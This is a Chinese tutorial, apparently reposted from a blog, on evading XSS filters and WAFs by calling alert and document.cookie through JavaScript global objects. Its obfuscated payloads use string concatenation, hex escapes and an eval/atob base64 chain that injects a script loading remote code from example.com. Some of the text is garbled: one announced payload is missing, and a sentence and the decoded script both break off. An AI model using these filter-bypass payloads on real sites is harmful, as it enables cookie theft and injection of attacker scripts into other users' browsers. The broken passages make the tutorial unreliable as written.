javascript
html使用js的变量_JS变异小技巧:使用JavaScript全局变量绕过XSS过滤器
什么是JavaScript全局變量?
JavaScript全局變量在函數外部聲明或使用window對象聲明,它可以通過任何函數訪問。?
假設你的目標Web應用程序容易受到映射到JavaScript字符串或JavaScript函數中的XSS的攻。
例如,下面的PHP腳本:
echo "
? ? var message = 'Hello ".$_GET["name"]."';
? ? alert(message);
";
如你所見,name參數容易受到攻擊,但是在這個示例中,假設Web應用程序有一個過濾器,它阻止使用正則表達式(如/document[^\.]*.[^\.]*cookie/)阻止將“document.cookie”字符串用于任何用戶輸入,讓我們來看看以下有效載荷:
在這種情況下,可以使用JavaScript全局變量來繞過它。我們有很多方法可以從window或self對象訪問document.cookie。例如,例如,像window["document"]["cookie"]這樣的對象就不會被阻止。
從上面的示例中可以看出,你甚至可以使用self["alert"]("foo")這樣的語法訪問任何JavaScript函數,該函數等于alert("foo");,這種語法為你提供了許多繞過弱過濾器的方法。顯然,你幾乎可以在任何地方使用類似的語法,例如:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
關于“self”對象
Window.self只讀屬性返回窗口本身,作為WindowProxy,它可以與窗口對象(即window.self)或獨立對象(self)上的點符號一起使用。獨立符號的優點是對于非窗口上下文存在類似的表示法,例如在Web Workers中。通過使用self,你不僅可以在窗口上下文(self將解析為window.self)的方式中引用全局范圍,而且還可以在運行上下文(self將解析為WorkerGlobalScope.self)中引用。?
你可以從以下位置調用任何JavaScript函數:
?window
?self
?_self
?this
?top
?parent
?frames
小技巧1.連接和十六進制轉義序列(Escape Sequence)
繞過WAF規則的最常見技術就是在可能的情況下使用字符串連接。對于RCE來說也是如此,即使對于SQLi和JavaScript也是如此。
有很多WAF使用基于JavaScript函數名列表的過濾器,其中許多過濾器會阻止包含諸如alert()或String.fromCharCode()之類的字符串的請求。由于全局變量,我們可以使用字符串連接或十六進制轉義序列輕松繞過它們。例如:
/*
**?alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
繞過過濾器的更復雜的語法是用十六進制轉義序列替換字符串,字符代碼小于256的任何字符都可以使用其十六進制表示轉義,并使用\x轉義序列:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
顯然,將“alert”、“document”和“cookie”字符串替換為它們的十六進制表示,可以調用前面看到的全局變量中的任何函數:
/*
** alert(document.cookie)
*/
self["\x61\x6c\x65\x72\x74"](
? ?self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
? ? ? ?["\x63\x6f\x6f\x6b\x69\x65"]
)
小技巧2. Eval和Base64編碼的字符串
如果WAF要過濾我們的輸入內容,那么最困難的事情之一就是動態創建并添加一個調用遠程JavaScript文件(類似于
Base64和eval()可以幫助我們,特別是如果我們可以避免將“eval”字符串作為用戶輸入發送的話。看一下下面的例子:
self["\x65\x76\x61\x6c"](
? self["\x61\x74\x6f\x62"](
? ? "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
? ? c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
? ? HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
? ? QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
? ? oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
? ? aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
? ? y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
? ? 5kQ2hpbGQoc2NyaXB0KTs="
? )
)
如上所示,我使用“eval”self["\x65\x76\x61\x6c"]和"atob"的十六進制表示來解碼Base64字符串self["\x61\x74\x6f\x62"]。在Base64字符串中,有以下腳本:
// select head tag
var head = document.getElementsByTagName('head').item(0);?
// create an empty
總結
以上是生活随笔為你收集整理的html使用js的变量_JS变异小技巧:使用JavaScript全局变量绕过XSS过滤器的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: cmd后台运行exe_windows 十
- 下一篇: controlleradvice 参数_